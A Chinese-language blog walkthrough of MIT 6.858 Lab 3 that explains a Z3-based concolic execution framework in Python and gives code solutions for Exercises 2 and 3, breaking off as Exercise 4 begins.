&lt;p&gt;基于 &lt;code&gt;sym_func_apply&lt;&#x2F;code&gt; 与 &lt;code&gt;op&lt;&#x2F;code&gt; 类，封装了相等比较、与、或、非四个操作，其实现原理主要还是转成 Z3 表达式后利用 Z3 的与或非进行运算：：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## Logic expressions

class sym_eq(sym_binop):
  def _z3expr(self):
    return z3expr(self.a) == z3expr(self.b)

class sym_and(sym_func_apply):
  def _z3expr(self):
    return z3.And(*[z3expr(a) for a in self.args])

class sym_or(sym_func_apply):
  def _z3expr(self):
    return z3.Or(*[z3expr(a) for a in self.args])

class sym_not(sym_unop):
  def _z3expr(self):
    return z3.Not(z3expr(self.a))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;符号数的加减乘除比较等操作都是基于上面封装的 &lt;code&gt;op&lt;&#x2F;code&gt; 类完成的：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;乘除等运算需要我们在后续的 Exercise 中自行实现&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class sym_lt(sym_binop):
  def _z3expr(self):
    return z3expr(self.a) &amp;lt; z3expr(self.b)

class sym_gt(sym_binop):
  def _z3expr(self):
    return z3expr(self.a) &amp;gt; z3expr(self.b)

class sym_plus(sym_binop):
  def _z3expr(self):
    return z3expr(self.a) + z3expr(self.b)

class sym_minus(sym_binop):
  def _z3expr(self):
    return z3expr(self.a) - z3expr(self.b)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;常量&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;字符串常量 &lt;code&gt;const_str&lt;&#x2F;code&gt; 、整型常量 &lt;code&gt;const_int&lt;&#x2F;code&gt; 、布尔常量 &lt;code&gt;const_bool&lt;&#x2F;code&gt; 的实现比较简单，主要就是继承自 &lt;code&gt;sym_ast&lt;&#x2F;code&gt; 并且储存对应的值，其中字符串常量在转为 Z3 表达式时会调用 &lt;code&gt;z3.StringVal()&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class const_str(sym_ast):
  def __init__(self, v):
    self.v = v

  def __eq__(self, o):
    if not isinstance(o, const_str):
      return False
    return self.v == o.v

  def __hash__(self):
    return hash(self.v)

  def _z3expr(self):
    return z3.StringVal(self.v)

class const_int(sym_ast):
  def __init__(self, i):
    self.i = i

  def __eq__(self, o):
    if not isinstance(o, const_int):
      return False
    return self.i == o.i

  def __hash__(self):
    return hash(self.i)

  def _z3expr(self):
    return self.i

class const_bool(sym_ast):
  def __init__(self, b):
    self.b = b

  def __eq__(self, o):
    if not isinstance(o, const_bool):
      return False
    return self.b == o.b

  def __hash__(self):
    return hash(self.b)

  def _z3expr(self):
    return self.b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;符号变量&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在该框架中定义了两种类型的符号变量：&lt;code&gt;sym_int&lt;&#x2F;code&gt; 与 &lt;code&gt;sym_str&lt;&#x2F;code&gt;，都是直接基础自 AST 节点类：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## Arithmetic

class sym_int(sym_ast):
  def __init__(self, id):
    self.id = id

  def __eq__(self, o):
    if not isinstance(o, sym_int):
      return False
    return self.id == o.id

  def __hash__(self):
    return hash(self.id)

  def _z3expr(self):
    return z3.Int(self.id)

###...

## String operations

class sym_str(sym_ast):
  def __init__(self, id):
    self.id = id

  def __eq__(self, o):
    if not isinstance(o, sym_str):
      return False
    return self.id == o.id

  def __hash__(self):
    return hash(self.id)

  def _z3expr(self):
    return z3.Const(self.id, z3.StringSort())
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;混合变量&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;正如前文所言，我们实际上在混合执行引擎当中使用的为混合型（concolic）的变量来储存约束值，框架中提供了三种类型的混合变量——&lt;code&gt;concolic_int&lt;&#x2F;code&gt; （整型）、 &lt;code&gt;concolic_str&lt;&#x2F;code&gt;（字符串）、&lt;code&gt;concolic_bytes&lt;&#x2F;code&gt;（字符数组），其中具体值（conctre value）存放在 &lt;code&gt;__v&lt;&#x2F;code&gt; 成员中，符号值（symbolic value）存放在 &lt;code&gt;__sym&lt;&#x2F;code&gt; 中&lt;&#x2F;p&gt;
&lt;p&gt;主要是&lt;strong&gt;大量的运算符重载&lt;&#x2F;strong&gt;，这里就不贴完整代码了，可以自己去看（笑）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class concolic_int(int):
  def __new__(cls, sym, v):
    self = super(concolic_int, cls).__new__(cls, v)
    self.__v = v
    self.__sym = sym
    return self

## ...

class concolic_str(str):
  def __new__(cls, sym, v):
    assert type(v) == str
    self = super(concolic_str, cls).__new__(cls, v)
    self.__v = v
    self.__sym = sym
    return self

##...

class concolic_bytes(bytes):
  def __new__(cls, sym, v):
    assert type(v) == bytes
    self = super(concolic_bytes, cls).__new__(cls, v)
    self.__v = v
    self.__sym = sym
    return self

##...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;接下来是 Exercise 2：通过增加整型乘法与除法支持来完成对 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; 中 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; 的实现，我们需要重载额外的方法并为乘除法运算添加 AST 节点，并为这些 AST 节点应用 &lt;code&gt;_z3expr&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 2.&lt;&#x2F;strong&gt;  Finish the implementation of &lt;code&gt;concolic_int&lt;&#x2F;code&gt; by adding support for integer multiply and divide operations. You will need to overload additional methods in the &lt;code&gt;concolic_int&lt;&#x2F;code&gt; class (see the documentation for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;operator.html&quot;&gt;operator functions in Python 3&lt;&#x2F;a&gt;), add AST nodes for multiply and divide operations, and implement &lt;code&gt;_z3expr&lt;&#x2F;code&gt; appropriately for those AST nodes.
Look for the comments &lt;code&gt;Exercise 2: your code here&lt;&#x2F;code&gt; in &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; to find places where we think you might need to write code to solve this exercise.
Run  &lt;strong&gt;.&#x2F;check-concolic-int.py&lt;&#x2F;strong&gt; or&lt;strong&gt;make check&lt;&#x2F;strong&gt; to check that your changes to &lt;code&gt;concolic_int&lt;&#x2F;code&gt; work correctly.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我们首先实现符号变量乘除所需的 &lt;code&gt;sym_binop&lt;&#x2F;code&gt; 子类，这里我们参照前面的加减运算直接调用 &lt;code&gt;z3expr()&lt;&#x2F;code&gt; 来返回 Z3 表达式即可&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的是虽然 python 的除法运算有 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 与 &lt;code&gt;&#x2F;&#x2F;&lt;&#x2F;code&gt;两种，但是 Z3并不支持 &lt;code&gt;ArithRef&lt;&#x2F;code&gt; 与 &lt;code&gt;int&lt;&#x2F;code&gt; 直接进行 &lt;code&gt;&#x2F;&#x2F;&lt;&#x2F;code&gt; 运算，所以这里我们只实现一个普通的乘法即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## Exercise 2: your code here.
## Implement AST nodes for division and multiplication.
class sym_mul(sym_binop):
  def _z3expr(self):
    return z3expr(self.a) * z3expr(self.b)

class sym_div(sym_binop):
  def _z3expr(self):
    return z3expr(self.a) &amp;#x2F; z3expr(self.b)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来我们重写 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; 的乘法与除法，我们先参考一下 &lt;code&gt;concolic_int&lt;&#x2F;code&gt;中的加法运算方式：、&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;首先判断运算对象是否为 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; ，若是则将自身具体值加上对象具体值，否则直接加上该对象，结果存放到 &lt;code&gt;res&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;创建一个新的 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; 实例作为返回值，&lt;code&gt;res&lt;&#x2F;code&gt; 作为其具体值部分，创建两个 &lt;code&gt;ast&lt;&#x2F;code&gt; 实例并利用 &lt;code&gt;sym_plus()&lt;&#x2F;code&gt; 计算结果作为新 concolic_int 的符号值部分&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  def __add__(self, o):
    if isinstance(o, concolic_int):
      res = self.__v + o.__v
    else:
      res = self.__v + o
    return concolic_int(sym_plus(ast(self), ast(o)), res)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么我们的乘除法其实依葫芦画瓢即可，这里需要注意的是我们要同时实现 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 与 &lt;code&gt;&#x2F;&#x2F;&lt;&#x2F;code&gt; 两种除法运算：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  ## Exercise 2: your code here.
  ## Implement symbolic division and multiplication.
  def __mul__(self, o):
    if isinstance(o, concolic_int):
      res = self.__v * o.__v
    else:
      res = self.__v * o
    return concolic_int(sym_mul(ast(self), ast(o)), res)

  def __truediv__(self, o):
    if isinstance(o, concolic_int):
      res = self.__v &amp;#x2F; o.__v
    else:
      res = self.__v &amp;#x2F; o
    return concolic_int(sym_div(ast(self), ast(o)), res)

  def __floordiv__(self, o):
    if isinstance(o, concolic_int):
      res = self.__v &amp;#x2F;&amp;#x2F; o.__v
    else:
      res = self.__v &amp;#x2F;&amp;#x2F; o
    return concolic_int(sym_div(ast(self), ast(o)), res)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行，成功通过 Exercise 2：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;concolic-exercise2-pass.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后是 Exercise 3，主要是让我们熟悉混合执行系统的使用方式，这里提供的途径是修改 &lt;code&gt;symex_exercises.py&lt;&#x2F;code&gt; 以给予测试系统正确的输入：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 3.&lt;&#x2F;strong&gt;  An important component of concolic execution is &lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt; in &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt;. We have given you the implementation. You will use it to build a complete concolic execution system. To understand how to use &lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt;, you should create an input such that you pass the first check in &lt;code&gt;symex&#x2F;check-symex-int.py&lt;&#x2F;code&gt;. Don&#x27;t modify &lt;code&gt;symex&#x2F;check-symex-int.py&lt;&#x2F;code&gt; directly, but instead modify &lt;code&gt;symex_exercises.py&lt;&#x2F;code&gt;. Run &lt;strong&gt;.&#x2F;check-symex-int.py&lt;&#x2F;strong&gt; or&lt;strong&gt;make check&lt;&#x2F;strong&gt; to check your solution.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;混合执行框架的核心组件便是 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt;  中的  &lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt; ，题目说后续我们将用其实现一个完整的混合执行系统，那我们先来看其相关的具体实现&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hun-he-zhi-xing-kuang-jia-dai-ma-qian-xi-part-2&quot;&gt;&lt;strong&gt;混合执行框架代码浅析  - Part 2&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;具体值字典 - ConcreteValues&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如前文所言，在混合执行下被测试的程序输入都存储在一个全局字典中，实为一个&lt;code&gt;ConctreteValues&lt;&#x2F;code&gt; 类对象，实际上就是 python 字典的一个 wrapper&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# ConcreteValues maintains a dictionary of variables name to values.
# If a variable is created and it doesn&amp;#x27;t exist, we use a default
# value for the variable (0 for int and &amp;#x27;&amp;#x27; for string).
class ConcreteValues(object):
  def __init__(self):
    self.concrete_values = {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; 中有一个全局变量 &lt;code&gt;current_concrete_values&lt;&#x2F;code&gt;，实际上就是我们前面所说的全局具体值字典，我们可以使用&lt;code&gt;ConctreteValues.mk_global()&lt;&#x2F;code&gt; 使该对象变为全局引用，即我们每次使用只需要创建一个&lt;code&gt;ConctreteValues&lt;&#x2F;code&gt; 对象即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# During concolic execution, new variables will be added to
# current_concrete_values, which is an instance of ConcreteValues.
# This variable is global because application code, the concolic
# Execution engine, and test code, all create new variables.  We make
# it global so that we don&amp;#x27;t have to modify application code.  At the
# start of a concolic execution we will set this variable to the
# concrete values to be used.

current_concrete_values=None

#...

  def mk_global(self):
    global current_concrete_values
    current_concrete_values = self
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在该类中有三个查询字典内 id 对应具体值并返回混合值的函数，若 id 不在字典内则进行添加，同时在 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; 中带有三个对这些函数的 wrapper：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  def mk_int(self, id, initval):
    if id not in self.concrete_values:
      self.concrete_values[id] = initval
    return concolic_int(sym_int(id), self.concrete_values[id])

  def mk_str(self, id, initval):
    if id not in self.concrete_values:
      self.concrete_values[id] = initval
    return concolic_str(sym_str(id), self.concrete_values[id])

  def mk_bytes(self, id, initval):
    if id not in self.concrete_values:
      self.concrete_values[id] = initval
    return concolic_bytes(sym_str(id), self.concrete_values[id])

#...

# Wrapper functions to allow application code to create new
# variables. They will be added to the current global current
# concrete values.
def mk_int(id, initval):
  global current_concrete_values
  return current_concrete_values.mk_int(id, initval)

def mk_str(id, initval):
  global current_concrete_values
  return current_concrete_values.mk_str(id, initval)

def mk_bytes(id, initval):
  global current_concrete_values
  return current_concrete_values.mk_bytes(id, initval)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除了上面的函数以外，也可以直接使用 &lt;code&gt;add()&lt;&#x2F;code&gt; 成员函数来向字典内添加映射：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  def add(self, id, v):
    self.concrete_values[id] = v
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以及还有一个 &lt;code&gt;canonical_rep()&lt;&#x2F;code&gt; 成员函数用以返回字典中的键值对元组排序列表，以及 &lt;code&gt;var_names()&lt;&#x2F;code&gt; 用以返回 id 列表：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  def canonical_rep(self):
    return sorted(self.concrete_values.items())

#...

  def var_names(self):
    return self.concrete_values.keys()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以及一个 &lt;code&gt;inherit()&lt;&#x2F;code&gt; 成员函数用以从另一个字典中拷贝键值对：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  def inherit(self, o):
    for id in o.concrete_values:
      if id not in self.concrete_values:
        self.concrete_values[id] = o.concrete_values[id]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;concolic_exec_input() - 输入执行&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;该函数内容用以根据给予的字典对传入的函数进行执行，整体逻辑比较简单：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;初始化两个全局空列表 &lt;code&gt;cur_path_constr&lt;&#x2F;code&gt; （&lt;strong&gt;当前路径的条件约束&lt;&#x2F;strong&gt;）与 &lt;code&gt;cur_path_constr_callers&lt;&#x2F;code&gt;（当前路径的信息）&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;concrete_values.mk_global()&lt;&#x2F;code&gt; 使其成为一个全局字典&lt;&#x2F;li&gt;
&lt;li&gt;调用传入的函数指针来获得一个值 &lt;code&gt;v&lt;&#x2F;code&gt;，若参数 &lt;code&gt;verbose &amp;gt; 1&lt;&#x2F;code&gt; 则打印两个列表的内容&lt;&#x2F;li&gt;
&lt;li&gt;最后的返回值为 &lt;code&gt;(v, cur_path_constr, cur_path_constr_callers)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# Concolically execute testfunc with the given concrete_values. It
# returns the value testfunc computes for the given concrete_values
# and the branches it encountered to compute that result.
def concolic_exec_input(testfunc, concrete_values, verbose = 0):
  global cur_path_constr, cur_path_constr_callers
  cur_path_constr = []
  cur_path_constr_callers = []

  if verbose &amp;gt; 0:
    print(&amp;#x27;Trying concrete value:&amp;#x27;, concrete_values)

  # make the concrete_value global so that new variables created
  # by testfunc(), directly or indirectly, will be added to
  # concrete_values.
  concrete_values.mk_global()
  v = testfunc()

  if verbose &amp;gt; 1:
    print(&amp;#x27;Test generated&amp;#x27;, len(cur_path_constr), &amp;#x27;branches:&amp;#x27;)
    for (c, caller) in zip(cur_path_constr, cur_path_constr_callers):
      print(indent(z3expr(c)), &amp;#x27;@&amp;#x27;, &amp;#x27;%s:%d&amp;#x27; % (caller[0], caller[1]))

  return (v, cur_path_constr, cur_path_constr_callers)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到在该函数中并没有更改路径约束与信息的列表，实际上这在 &lt;code&gt;add_constr()&lt;&#x2F;code&gt; 中完成，该函数在 &lt;code&gt;concolic_bool()&lt;&#x2F;code&gt; 中调用，将约束信息进行添加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def add_constr(e):
  global cur_path_constr, cur_path_constr_callers
  cur_path_constr.append(simplify(e))
  cur_path_constr_callers.append(get_caller())

def concolic_bool(sym, v):
  ## Python claims that &amp;#x27;bool&amp;#x27; is not an acceptable base type,
  ## so it seems difficult to subclass bool.  Luckily, bool has
  ## only two possible values, so whenever we get a concolic
  ## bool, add its value to the constraint.
  add_constr(sym_eq(sym, ast(v)))
  return v
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而 &lt;code&gt;concolic_bool()&lt;&#x2F;code&gt; 实际上在 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; 与 &lt;code&gt;concolic_str&lt;&#x2F;code&gt; 的运算符重载中进行调用，这也是为什么每次执行 &lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt; 都要&lt;strong&gt;重新将路径约束与信息列表清空&lt;&#x2F;strong&gt;的缘故，这里以 &lt;code&gt;concolic_int&lt;&#x2F;code&gt;中的 &lt;code&gt;__cmp__&lt;&#x2F;code&gt; 运算符为例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  def __cmp__(self, o):
    res = int(self.__v).__cmp__(int(o))
    if concolic_bool(sym_lt(ast(self), ast(o)), res &amp;lt; 0):
      return -1
    if concolic_bool(sym_gt(ast(self), ast(o)), res &amp;gt; 0):
      return 1
    return 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;我们接下来来看  &lt;code&gt;symex_exercises.py&lt;&#x2F;code&gt;  里有啥，主要就一个 &lt;code&gt;make_a_test()&lt;&#x2F;code&gt; 函数，我们需要在其中完成全局具体值字典 &lt;code&gt;concrete_values&lt;&#x2F;code&gt; 的构建：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import symex.fuzzy as fuzzy

def make_a_test_case():
  concrete_values = fuzzy.ConcreteValues()
  ## Your solution here: add the right value to concrete_values
  return concrete_values
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么我们该如何修改   &lt;code&gt;symex_exercises.py&lt;&#x2F;code&gt; 中创建的字典呢？我们先看一下 Exercise 3 的评判标准，在 &lt;code&gt;check_lab3.py&lt;&#x2F;code&gt; 中检测的是运行 &lt;code&gt;check-symex-int.py&lt;&#x2F;code&gt; 后要输出 &lt;code&gt;&quot;Found input for 1234&quot;&lt;&#x2F;code&gt; 字符串：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def check_symex_int():
    sh(&amp;#x27;python3 check-symex-int.py &amp;gt;&amp;#x2F;tmp&amp;#x2F;lab3.log&amp;#x27;)
    if &amp;#x27;Found input for 1234&amp;#x27; in file_read(&amp;#x27;&amp;#x2F;tmp&amp;#x2F;lab3.log&amp;#x27;):
        log(green(&amp;quot;PASS&amp;quot;), &amp;quot;Exercise 3: concrete input for 1234&amp;quot;)
    else:
        log(red(&amp;quot;FAIL&amp;quot;), &amp;quot;Exercise 3: concrete input for 1234&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们接下来来看  &lt;code&gt;check-symex-int.py&lt;&#x2F;code&gt; ，其开头的逻辑如下，&lt;code&gt;r&lt;&#x2F;code&gt; 的值为 1234 即可通过 Exercise 3：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## This test case checks that you provided the right input in symex_exercises.
print(&amp;#x27;Calling f with a specific input..&amp;#x27;)
v = symex_exercises.make_a_test_case()
(r, constr, callers) = fuzzy.concolic_exec_input(test_f, v, verbose=1)
if r == 1234:
    print(&amp;quot;Found input for 1234&amp;quot;)
else:
    print(&amp;quot;Input produced&amp;quot;, r, &amp;quot;instead of 1234&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如前面我们对 &lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt; 的分析，&lt;code&gt;r&lt;&#x2F;code&gt; 的值由传入的函数指针决定，故我们来看 &lt;code&gt;test_f()&lt;&#x2F;code&gt; 的逻辑，主要就是用 &lt;code&gt;mk_int()&lt;&#x2F;code&gt; 从全局具体值字典中获取 id 为 &lt;code&gt;i&lt;&#x2F;code&gt; 的值传入 &lt;code&gt;f()&lt;&#x2F;code&gt; 中进行运算，若不存在 &lt;code&gt;i&lt;&#x2F;code&gt; 则 &lt;code&gt;i&lt;&#x2F;code&gt; 会被默认赋值 &lt;code&gt;0&lt;&#x2F;code&gt; ：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def f(x):
    if x == 7:
        return 100
    if x*2 == x+1:
        return 70
    if x &amp;gt; 2000:
        return 80
    if x*2 == 1000:
        return 30000
    if x &amp;lt; 500:
        return 33
    if x &amp;#x2F;&amp;#x2F; 123 == 7:
        return 1234
    return 40

def test_f():
    i = fuzzy.mk_int(&amp;#x27;i&amp;#x27;, 0)
    v = f(i)
    return v
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由函数 &lt;code&gt;f()&lt;&#x2F;code&gt; 我们可以知道的是我们只需要向具体值字典中添加一个 &lt;code&gt;i = 123 * 7&lt;&#x2F;code&gt; 的值即可让 &lt;code&gt;test_f()&lt;&#x2F;code&gt; 返回 &lt;code&gt;1234&lt;&#x2F;code&gt;，故修改 &lt;code&gt;symex_exercises.py&lt;&#x2F;code&gt; 如下，这里用 &lt;code&gt;mk_int()&lt;&#x2F;code&gt; 和 &lt;code&gt;add()&lt;&#x2F;code&gt; 都可以：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import symex.fuzzy as fuzzy

def make_a_test_case():
  concrete_values = fuzzy.ConcreteValues()
  ## Your solution here: add the right value to concrete_values
  concrete_values.add(&amp;#x27;i&amp;#x27;, 123 * 7)
  return concrete_values
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行，成功通过 Exercise 3：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;symex-exercise3-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来是 Exercise 4，完成 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; 中 &lt;code&gt;concolic_find_input&lt;&#x2F;code&gt;  的实现：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 4.&lt;&#x2F;strong&gt;  Another major component in concolic execution is finding a concrete input for a constraint. Complete the implementation of &lt;code&gt;concolic_find_input&lt;&#x2F;code&gt; in &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; and make sure you pass the second test case of &lt;code&gt;symex&#x2F;check-symex-int.py&lt;&#x2F;code&gt;. For this exercise, you will have to invoke Z3, along the lines of &lt;code&gt;(ok, model) = fork_and_check(constr)&lt;&#x2F;code&gt; (see the comments in the code). Run &lt;strong&gt;.&#x2F;check-symex-int.py&lt;&#x2F;strong&gt; or&lt;strong&gt;make check&lt;&#x2F;strong&gt; to check your solution.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在该函数当中我们需要完成对约束的求解并返回对应的结果，因此这里需要使用 Z3 求解器来完成约束求解过程，不过这里已经将调用 Z3 的流程在 &lt;code&gt;fork_and_check()&lt;&#x2F;code&gt; 中完成封装，我们只需要调用该函数进行求解即可，那么我们先来看  &lt;code&gt;fork_and_check()&lt;&#x2F;code&gt; 的具体实现：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;创建子进程调用 &lt;code&gt;fork_and_check_worker()&lt;&#x2F;code&gt; 进行约束求解，父子进程通过管道通信&lt;&#x2F;li&gt;
&lt;li&gt;父进程等待子进程的 &lt;code&gt;SIGALRM&lt;&#x2F;code&gt; 信号，若 &lt;code&gt;z3_timeout&lt;&#x2F;code&gt; 秒后未收到，杀死子进程&lt;&#x2F;li&gt;
&lt;li&gt;从管道接收结果并返回，若超时（子进程被杀，管道关闭）则返回 &lt;code&gt;(z3.unknown, None)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## Support for forking because z3 uses lots of global variables

